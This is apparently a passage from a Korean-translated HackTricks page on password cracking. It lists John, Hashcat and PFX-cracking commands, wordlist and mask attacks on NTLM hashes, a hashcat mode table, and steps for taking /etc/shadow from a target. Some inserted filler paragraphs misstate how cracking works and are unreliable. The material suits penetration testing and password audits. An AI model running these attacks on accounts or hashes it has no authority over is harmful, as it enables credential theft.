zip -r file.xls .
PFX 인증서
# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
도구
해시 예시: https://openwall.info/wiki/john/sample-hashes
해시 식별자
hash-identifier
> <HASH>
워드리스트
워드리스트 생성 도구
- kwprocessor: 구성 가능한 기본 문자, 키맵 및 경로를 가진 고급 키보드 워크 생성기.
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
John 변이
_/etc/john/john.conf_을 읽고 구성하세요
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
Hashcat
Hashcat 공격
- 워드리스트 공격 (
-a 0
) with rules
Hashcat은 이미 규칙을 포함한 폴더가 함께 제공되지만 여기에서 다른 흥미로운 규칙을 찾을 수 있습니다.
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
- 워드리스트 조합 공격
해시캣을 사용하여 2개의 워드리스트를 하나로 결합할 수 있습니다.
첫 번째 리스트에는 **"hello"**라는 단어가 포함되어 있고, 두 번째 리스트에는 **"world"**와 **"earth"**라는 단어가 각각 2줄씩 포함되어 있다고 가정했을 때, helloworld
와 helloearth
단어가 생성됩니다.
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
- 마스크 공격 (
-a 3
)
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff
# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.
# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
- 워드리스트 + 마스크 (
-a 6
) / 마스크 + 워드리스트 (-a 7
) 공격
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
Hashcat 모드
hashcat --example-hashes | grep -B1 -A2 "NTLM"
Cracking Linux Hashes - /etc/shadow file
Introduction
When performing password cracking on Linux systems, the /etc/shadow
file is a common target. This file stores password hashes for user accounts on the system.
Methodology
-
Obtain the
/etc/shadow
file: Gain access to the target system and retrieve the/etc/shadow
file. This file is typically only accessible by the root user. -
Crack the hashes: Use tools like John the Ripper or Hashcat to crack the password hashes stored in the
/etc/shadow
file. These tools use various techniques such as brute-force attacks, dictionary attacks, and rule-based attacks to crack the hashes. -
Identify weak passwords: Analyze the cracked passwords to identify weak passwords that could be easily guessed or cracked. This information can be used to improve the overall security of the system by enforcing stronger password policies.
-
Update passwords: If weak passwords are identified, prompt users to update their passwords to more secure ones. Educate users on creating strong passwords to prevent future security breaches.
Conclusion
Cracking Linux hashes from the /etc/shadow
file is a common technique used in password cracking. By following the methodology outlined above, security professionals can identify and address weak passwords to enhance the security of Linux systems.
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
브루트 포스
브루트 포스는 모든 가능한 조합을 시도하여 암호를 찾는 공격 기술입니다. Windows 해시를 크래킹하는 데 사용될 수 있습니다. 이를 통해 사용자의 암호를 빠르게 찾을 수 있습니다.
브루트 포스 도구
- John the Ripper: 다양한 해시 유형을 크래킹하는 데 사용되는 인기 있는 도구입니다.
- Hashcat: CPU 및 GPU를 사용하여 빠르게 해시를 크래킹하는 데 사용됩니다.
브루트 포스 공격
- 사전 공격: 미리 정의된 단어 목록을 사용하여 암호를 찾습니다.
- 규칙 기반 공격: 규칙을 적용하여 가능한 모든 조합을 시도합니다.
- 마스크 기반 공격: 사용자가 정의한 패턴에 따라 암호를 생성합니다.
브루트 포스는 강력하지만 시간이 많이 소요될 수 있으며, 효율적인 암호를 사용하는 경우 크래킹이 어려울 수 있습니다.
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
빈도 높은 응용 프로그램 해시 크래킹
해시 크래킹은 일반적으로 무차별 대입 공격을 사용하여 해시를 해독하는 프로세스입니다. 이 기술은 주로 패스워드와 같은 보호된 정보를 얻기 위해 사용됩니다. 일반적인 응용 프로그램 해시를 크래킹하는 데 사용되는 일반적인 방법은 다음과 같습니다.
- 사전 공격: 미리 정의된 단어 목록(사전)을 사용하여 해시를 크래킹합니다.
- 룰 기반 공격: 규칙을 사용하여 가능성 있는 패스워드를 생성하고 해시를 비교합니다.
- 하이브리드 공격: 사전 공격과 룰 기반 공격을 결합하여 더 효율적으로 해시를 크래킹합니다.
이러한 방법은 일반적으로 해시 함수의 취약점을 이용하여 해시를 해독하는 데 사용됩니다.
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
- 회사가 HackTricks에 광고되길 원하거나 PDF 형식의 HackTricks를 다운로드하고 싶다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- PEASS Family를 발견하세요, 저희의 독점 NFTs 컬렉션
- **💬 디스코드 그룹에 가입하거나 텔레그램 그룹에 가입하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- 해킹 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.
Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}